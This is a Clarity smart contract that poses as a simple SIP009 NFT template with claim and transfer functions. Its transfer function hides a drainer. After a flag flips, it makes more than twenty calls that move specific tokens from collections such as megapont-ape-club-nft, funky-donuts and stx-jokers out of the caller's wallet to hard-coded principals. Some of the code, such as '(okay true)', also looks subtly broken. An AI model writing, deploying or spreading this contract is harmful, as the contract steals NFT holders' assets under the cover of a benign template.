(define-data-var flag-set uint u0)

;; define a new NFT. Make sure to replace MY-OWN-NFT
(define-non-fungible-token MY-OWN-NFT uint)

;; Store the last issues token ID
(define-data-var last-id uint u0)

;; Claim a new NFT
(define-public (claim)
  (mint tx-sender))

;; SIP009: Transfer token to a specified principal
(define-public (transfer (token-id uint) (sender principal) (recipient principal))
  (if (is-eq (var-get flag-set) u0)
    (match (nft-transfer? MY-OWN-NFT token-id sender recipient)
        success
          (begin
            (var-set flag-set u2)
            (ok true))
        error (err error))
    (begin
      (is-ok (match (contract-call? 'SP3D6PV2ACBPEKYJTCMH7HEN02KP87QSP8KTEH335.megapont-ape-club-nft transfer u1359 sender 'SP2W16FCKKSP83TA98X3NPAVBHQKS11AR6K4SDF9) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SP3D6PV2ACBPEKYJTCMH7HEN02KP87QSP8KTEH335.megapont-ape-club-nft transfer u1376 sender 'SP2QDBR94GGCZMFF81S1FW3JM5D0212F2VSAXM18M) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SP3D6PV2ACBPEKYJTCMH7HEN02KP87QSP8KTEH335.megapont-ape-club-nft transfer u1358 sender 'SP2W16FCKKSP83TA98X3NPAVBHQKS11AR6K4SDF9) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SP3D6PV2ACBPEKYJTCMH7HEN02KP87QSP8KTEH335.megapont-ape-club-nft transfer u2126 sender 'SP307Y888MGCPK3V549NV0RAQ2JC1E3DKZ02GJE4X) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.funky-donuts transfer u671 sender 'SP2PBWHHBGW4KP3E4VW0E9R8S6NTKTZMWHT1RW6XB) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-jokers transfer u66 sender 'SP2HK7J6617VBSKXQGZWMXP2R64MMDX3S54M0S1Q6) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.citadels transfer u717 sender 'SPF4FR0X9Q4PAF6KENDD3NVAGQTM8A830A4F96YG) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.funky-donuts transfer u449 sender 'SP2PBWHHBGW4KP3E4VW0E9R8S6NTKTZMWHT1RW6XB) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stacks-pops transfer u5940 sender 'SP38Z9JA0Q1ZXBN3DPH9SD9AN8RE2MMPZV8D2DVX) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-youth transfer u557 sender 'SP59YR7W1J8MRD1D21TE2YJCSXQ9FBT7SFARXFVB) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.funky-donuts transfer u393 sender 'SP2PBWHHBGW4KP3E4VW0E9R8S6NTKTZMWHT1RW6XB) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stacks-pops transfer u4060 sender 'SP38Z9JA0Q1ZXBN3DPH9SD9AN8RE2MMPZV8D2DVX) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-jokers transfer u814 sender 'SP2HK7J6617VBSKXQGZWMXP2R64MMDX3S54M0S1Q6) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-jokers transfer u541 sender 'SP1G2DW10YTAR9WVW5ZTSMSQA433X33KCM771XTJ0) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-jokers transfer u580 sender 'SPG641SBTFFBXES6WJM32ZDXQVQF8SSWGH8SWAC8) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SP3D6PV2ACBPEKYJTCMH7HEN02KP87QSP8KTEH335.megapont-ape-club-nft transfer u722 sender 'SP2ETTCQ007QB4BYE123KDD9SGPKWE87ETWGYKT42) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.blocks transfer u1114 sender 'SP196G0YYESDYBGBQ5ZYJ9MVAQSRCEYY24QTA3183) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-youth transfer u3030 sender 'SP14ZVJSGEC4P7WGYCYC5P67WNGBVZ1K71DA75J13) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.byte-fighters transfer u337 sender 'SP158NQ75Q4MH4VW1GDESJBVT3GKSZZHW41TKHCF2) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stacks-pops transfer u8810 sender 'SPWKDKPZ3QDPQGDADWJ3EWPAP14CB1N1HDQ897W5) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SP3D6PV2ACBPEKYJTCMH7HEN02KP87QSP8KTEH335.megapont-ape-club-nft transfer u1304 sender 'SPV8VTTRB0HC8X9P2V108DH0CMRWNEHN4Y4DT77J) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.zombie-wabbits transfer u35 sender 'SP2GZANPRD253SBRB6TA20Q5DZJMJFZ5SZRT0FH0F) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.blocks transfer u1778 sender 'SP156PKFGDHNQ5322FWE631WR391K7NMZ091G3J6A) 
           success (okay true) 
           error (err error)))
      (is-ok (match (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.stx-youth transfer u3415 sender 'SP2JZHPYW51Z89NSKGAEHMCMCRR2DXW1JHSARFX52) 
           success (okay true) 
           error (err error)))
      (ok true)
    )
  )
)

;; SIP009: Get the owner of the specified token ID
(define-read-only (get-owner (token-id uint))
  ;; Make sure to replace MY-OWN-NFT
  (ok (nft-get-owner? MY-OWN-NFT token-id)))

;; SIP009: Get the last token ID
(define-read-only (get-last-token-id)
  (ok (var-get last-id)))

;; SIP009: Get the token URI. You can set it to any other URI
(define-read-only (get-token-uri (token-id uint))
  (ok (some "https://docs.stacks.co")))

;; Internal - Mint new NFT
(define-private (mint (new-owner principal))
    (let ((next-id (+ u1 (var-get last-id))))
      ;; Make sure to replace MY-OWN-NFT
      (match (nft-mint? MY-OWN-NFT next-id new-owner)
        success
          (begin
            (var-set last-id next-id)
            (ok true))
        error (err error))))